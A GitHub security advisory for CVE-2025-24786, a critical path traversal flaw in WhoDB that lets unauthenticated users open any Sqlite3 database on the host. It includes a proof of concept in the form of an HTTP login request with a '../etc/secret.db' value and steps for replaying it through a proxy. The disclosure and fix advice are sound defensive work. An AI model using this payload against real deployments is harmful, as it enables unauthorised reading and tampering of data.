ghsa-9r4c-jwx3-3j76
Vulnerability from github
Summary
While the application only displays Sqlite3 databases present in the directory /db
, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/
(or alternatively ./tmp/
if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join()
with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db
.
This allows an attacker to use path traversal (../../
) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
sh
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db
, and the dummy database mounted into /etc/secret.db
:
sh
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db
is accessible by setting the Database
value to ../etc/secret.db
:
```http
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"} ```
The server response indicates that the database was successfully opened: ```http HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly ...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}} ```
The Set-Cookie
Token
value is simply a Base64-encoded string with a JSON payload containing the connection details:
json
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database
value to ../etc/secret.db
.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.
The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.
Recommendations
Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/clidey/whodb/core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.0.0-20250127172032-547336ac73c8" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-24786" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2025-02-06T19:58:24Z", "nvd_published_at": "2025-02-06T19:15:20Z", "severity": "CRITICAL" }, "details": "### Summary\n\nWhile the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.\n\n### Details\n\nWhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20\n\nIf no databases are present in the default directory, the UI indicates that the user is unable to open any databases:\n\n\n\nThe database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26\n\nNo checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`.\n\nThis allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. \n\n### PoC\n\nBefore running the container, an example Sqlite3 database with dummy \"secret\" data was created:\n```sh\nDB_FILE=$(mktemp)\necho \"CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES (\u0027secret data\u0027)\" | sqlite3 \"$DB_FILE\"\n```\n\nThe container was then created with nothing mounted into `/db`, and the dummy database mounted into `/etc/secret.db`:\n```sh\npodman run -d -p 8080:8080 -v \"$DB_FILE\":/etc/secret.db docker.io/clidey/whodb\n```\n\nThe attacker sends a HTTP request to determine whether the `secret.db` is accessible by setting the `Database` value to `../etc/secret.db`:\n```http\nPOST /api/query HTTP/1.1\nHost: localhost:8080\ncontent-type: application/json\n...\n\n{\"operationName\":\"Login\",\"variables\":{\"credentials\":{\"Type\":\"Sqlite3\",\"Hostname\":\"\",\"Database\":\"../etc/secret.db\",\"Username\":\"\",\"Password\":\"\",\"Advanced\":[]}},\"query\":\"mutation Login($credentials: LoginCredentials!) {\\n Login(credentials: $credentials) {\\n Status\\n __typename\\n }\\n}\"}\n```\n\nThe server response indicates that the database was successfully opened:\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\nSet-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly\n...\n\n{\"data\":{\"Login\":{\"Status\":true,\"__typename\":\"StatusResponse\"}}}\n```\n\nThe `Set-Cookie` `Token` value is simply a Base64-encoded string with a JSON payload containing the connection details:\n```json\n{\n \"Type\": \"Sqlite3\",\n \"Hostname\": \"\",\n \"Username\": \"\",\n \"Password\": \"\",\n \"Database\": \"../etc/secret.db\"\n}\n``` \n\nThe attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the `Database` value to `../etc/secret.db`.\n\nDoing so, the attacker can then browse the database, its tables and the data within:\n\n\n\nThe attacker may also insert or modify data using either the buttons presented in the UI or the _Scratchpad_ functionality. In this proof-of-concept, the attacker inserts a new row using the _Add Row_ button:\n\n\n\n### Impact\n\nAllows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.\n\nThe attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.\n\n### Recommendations\n\nBefore attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.", "id": "GHSA-9r4c-jwx3-3j76", "modified": "2025-02-07T17:35:11Z", "published": "2025-02-06T19:58:24Z", "references": [ { "type": "WEB", "url": "https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24786" }, { "type": "WEB", "url": "https://github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc" }, { "type": "PACKAGE", "url": "https://github.com/clidey/whodb" }, { "type": "WEB", "url": "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20" }, { "type": "WEB", "url": "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "type": "CVSS_V3" } ], "summary": "WhoDB has a path traversal opening Sqlite3 database" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.